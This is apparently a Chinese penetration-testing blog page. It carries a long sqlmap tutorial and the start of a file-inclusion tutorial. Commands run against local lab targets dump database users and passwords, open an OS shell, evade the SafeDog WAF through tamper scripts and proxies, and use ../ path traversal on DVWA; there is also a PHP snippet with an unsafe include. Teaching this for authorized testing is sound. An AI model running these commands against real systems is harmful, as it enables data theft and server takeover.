首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,866 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
43
篇与
的结果
2025-05-18
1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具,凭借其强大的功能和易用性,成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞,还能进一步枚举数据库信息、提取数据,甚至执行操作系统命令,为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法,帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧,我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时,通过实例演示和技巧分享,帮助读者在实际操作中灵活运用sqlmap,提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术,但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型: 二次注入(Second-Order SQL Injection):二次注入发生在应用程序首先接收并存储了恶意输入,然后在稍后的时间点(通常是在另一个请求中)这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询,因此sqlmap可能难以直接检测到这种注入类型,除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入:这种注入类型发生在客户端JavaScript代码中,而不是服务器端。sqlmap主要关注服务器端的安全漏洞,因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过:某些Web应用防火墙(WAF)或入侵防御系统(IPS)可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时,sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下,可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入:虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞,但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理,这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制:在某些情况下,由于数据库配置或网络延迟等原因,盲注(基于布尔、时间或错误消息的盲注)可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息,那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言:虽然sqlmap支持多种数据库系统,但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言,那么可能会影响到sqlmap的检测能力。 在开始之前先上表(方便以后查表),或者截图保存好,基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值:"sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用,高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url,需要确认就按y。扫描完一个,就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no,Y/N),执行默认操作,即选项大写的那个,不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时,可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号(这里不知道为什么显示为False,前面使用privileges明明root权限最多)sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目(当前数据库/表/列中的所有内容)--dump-all 转储所有DBMS数据库表条目(爆出整个mysql数据库的数据内容)--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入,要求使用burp suite抓包,将这个包中的信息,保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息,模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容,会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项,选项一表示根据关键字模糊搜索,选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库,-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果就比如我们已经绕过了某个WAF,并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本,使用普通的一个payload,这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试,包含WAF的测试过程就需要使用清除缓存--flush-session,一切正常--technique 使用方法:sqlmap -u URL --technique 注入类型选项(可多种组合) 使用--flush-session参数可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型,可以使用--technique指定。sqlmap针对每一种类型,提供了字母选项,可以组合字母选项来指定多种注入类型进行测试。备注:注入类型对应的参数 B:基于布尔的盲注 E:基于错误 U:基于联合查询 S:堆叠查询 T:基于时间的盲注 Q:内联查询 使用示例:sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候,默认是sqlmap的请求头,很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法:sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求,如下:sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法:sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟,并根据提示选择模拟的手机类型--level 使用方法:Python sqlmap.py -u URL --level 等级 使用--level参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL,登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini,添加如下内容,然后重启mysql重启之后这里我们假设已经知道了网站的目录为:E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令,执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了,直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境,payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf,貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用,将脚本传入到这个路径bypassDog2.py(攻击脚本具有危害性,作者不予提供,以下仅供参考,也可以使用kali自带的sqlmap攻击脚本进行测试)/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然,如果网站使用了ip封禁机制,可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询(Prepared Statements)参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开,可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例(Python 使用 psycopg2 连接 PostgreSQL):import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例(PHP 使用 PDO):<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM(对象关系映射)ORM框架如Hibernate、Django ORM等,内部实现了参数化查询,从而自动防止SQL注入。使用ORM可以简化数据库操作,同时提高安全性。示例(Django ORM):from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如,一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限,而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙(WAF)部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法(因为它可能无法覆盖所有可能的注入场景),但它可以作为额外的安全层。验证所有用户输入,确保它们符合预期的格式和类型。总结通过本文的学习,读者不仅掌握了sqlmap的基本使用方法,还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置,到注入技术的选择、数据库信息的枚举,再到操作系统命令的执行,sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中,sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞,并通过进一步的枚举和分析,揭示潜在的安全风险。同时,通过合理的配置和技巧应用,sqlmap还能有效绕过WAF等安全防护措施,提高渗透测试的成功率。然而,值得注意的是,sqlmap作为一款强大的渗透测试工具,其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为,因此在使用sqlmap进行渗透测试时,务必确保已获得合法授权,并遵守相关安全政策和标准。总之,sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习,读者不仅能够掌握其基本和高级用法,还能在实际操作中灵活运用,提高渗透测试的效率与成功率,为Web应用程序的安全防护贡献力量。文章参考:https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文:https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
2025年05月18日
701 阅读
0 评论
0 点赞
2025-05-18
从零开始学习文件包含
从零开始学Web安全,文件包含漏洞详解大家好,我是[小羽],一个对网络安全充满热情的小白。今天,我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞?,这里很详细的介绍了Sql注入的各种类型防御的方法。靶场:dvwa,pikachu服务器:centos7数据库:mysql5.7php:8.0nginx:1.24什么是文件包含漏洞?概述和sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,让服务端执行。包含:把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员有没有对要包含的文件进行安全考虑,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。常见的文件包含漏洞有两种类型: 本地文件包含(Local File Inclusion):LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件。 远程文件包含(Remote File Inclusion):攻击者能通过将一个远程文件包含到应用程序中来执行任意代码,这种漏洞通常存在在于动态包含外部资源的代码中。 攻击者可以利用文件包含漏洞来执行一系列攻击,比如读取敏感文件、执行恶意代码、获取数据库信息等。以PHP为例,常用的文件包含函数有以下四种 函数 描述 特点 require() 找不到被包含的文件会产生致命错误,并停止脚本运行 在一开始就加载 include() 找不到被包含的文件只会产生警告,脚本继续执行 在用到时加载 include_once() 如果该文件的代码已经被包含,则不会再次包含 与include()类似 require_once() 如果该文件的代码已经被包含,则不会再次包含 require()类似 漏洞利用过程一、本地文件包含漏洞(LFI)php代码示例:<?php $file=$_GET(['filename']); include($file) ?>python代码示例:file=request.GET.get('filename')#django with open(filename,mode='r') as f: print(f.read())我们可以利用文件包含读取到一些其他文件,甚至可以读取一些系统的敏感信息如系统的配置器文件:C:Windowssystem.ini文件(很危险)DVWA首先在我们centos系统中根目录创建一个demo1.txt写入'you are very good hacker!'进入dvwa靶场File Inclusion点击任意文件后,观察到url的变化为文件名称的变化 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt漏洞利用成功!此时也可直接读取系统配置文件例如hostsPiKaChu选择下拉框任意选项,分析url,找到文件名称如下图 